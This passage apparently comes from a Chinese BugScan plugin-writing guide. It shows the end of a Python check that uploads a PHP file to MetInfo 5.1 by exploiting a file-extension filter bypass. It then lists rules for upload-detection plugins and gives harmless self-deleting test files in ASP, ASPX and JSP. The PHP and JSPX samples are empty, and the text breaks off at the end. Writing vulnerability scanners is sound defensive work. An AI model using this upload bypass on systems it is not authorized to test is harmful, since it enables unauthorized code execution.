Content-Type: application/x-php 65 | 66 | 67 | ------WebKitFormBoundaryE1toBNeESf6p0uXQ-- 68 | ''' 69 | # proxy=('127.0.0.1',8080) 70 | code1, head1, res1, finalurl1, log1 = hackhttp.http(url, raw=raw) 71 | 72 | # get upload file name 73 | name = int(time.time()) 74 | for i in range(3): 75 | filename = name + i 76 | url = arg + 'upload/file/%s.php' % (str(filename)) 77 | code2, head2, res2, finalurl2, log2 = hackhttp.http(url) 78 | if code2 == 200 and "c4ca4238a0b923820dcc509a6f75849b" in res2: 79 | # 只用传递触发漏洞的 log,验证上传成功的 log 不需要 80 | security_hole('file upload Vulnerable:' + arg + "feedback/uploadfile_save.php?met_file_format=pphphp&met_file_maxsize=9999&lang=metinfo", log=log1) 81 | break 82 | if __name__ == '__main__': 83 | from dummy import * 84 | audit(assign(fingerprint.metinfo, "http://127.0.0.1/metinfo5.1/")[1]) 85 | 86 | ``` 87 | 88 | ### 文件上传类插件检测步骤 89 | 90 | 1. 上传指定文件到目标 91 | 2. 访问上传后的文件 92 | 3. 判断是不是 1 中上传的文件 93 | 94 | ### 文件上传类的插件原则 95 | 96 | 1. 一般情况下要求上传可执行的文件,例如:php, asp, aspx, jsp 97 | 2. 上传文件内容要求对目标不得造成任何形式的损害。 98 | 3. 上传后的文件,在访问一次之后应该自删除。 99 | 4. 文件名应该尽量随机,不要与正常文件名相同。 100 | 101 | ### 上传文件样例代码 102 | 103 | BugScan 社区官方提供了以下几类语言的上传检测样本,供开发者参考,所有文件都会在访问一次之后自删除,如果无删除权限时,由于其只输出字符串,也不会造成太大危害。 104 | 105 | * PHP 106 | 107 | ```php 108 | 109 | ``` 110 | 输出: e165421110ba03099a1c0393373c5b43 111 | 112 | * ASP 113 | 114 | ``` 115 | <% 116 | Response.Write chr(101)&chr(49)&chr(54)&chr(53)&chr(52)&chr(50)&chr(49)&chr(49)&chr(49)&chr(48)&chr(98)&chr(97)&chr(48)&chr(51)&chr(48)&chr(57)&chr(57)&chr(97)&chr(49)&chr(99)&chr(48)&chr(51)&chr(57)&chr(51)&chr(51)&chr(55)&chr(51)&chr(99)&chr(53)&chr(98)&chr(52)&chr(51) 117 | CreateObject("Scripting.FileSystemObject").DeleteFile(server.mappath(Request.ServerVariables("SCRIPT_NAME"))) 118 | %> 119 | ``` 120 | 121 | 访问该文件后输出: e165421110ba03099a1c0393373c5b43 122 | 123 | * ASPX 124 | 125 | ``` 126 | <%@Page Language="C#"%> 127 | <% 128 | Response.Write(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.FromBase64String("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM="))); 129 | System.IO.File.Delete(Request.PhysicalPath); 130 | %> 131 | ``` 132 | 133 | 访问该文件后输出:e165421110ba03099a1c0393373c5b43 134 | 135 | * JSP 136 | 137 | ```jsp 138 | <% 139 | out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("ZTE2NTQyMTExMGJhMDMwOTlhMWMwMzkzMzczYzViNDM="))); 140 | new java.io.File(application.getRealPath(request.getServletPath())).delete(); 141 | %> 142 | ``` 143 | 144 | 访问该文件后输出:e165421110ba03099a1c0393373c5b43 145 | 146 | * JSPX 147 | 148 | ``` 149 | 150 |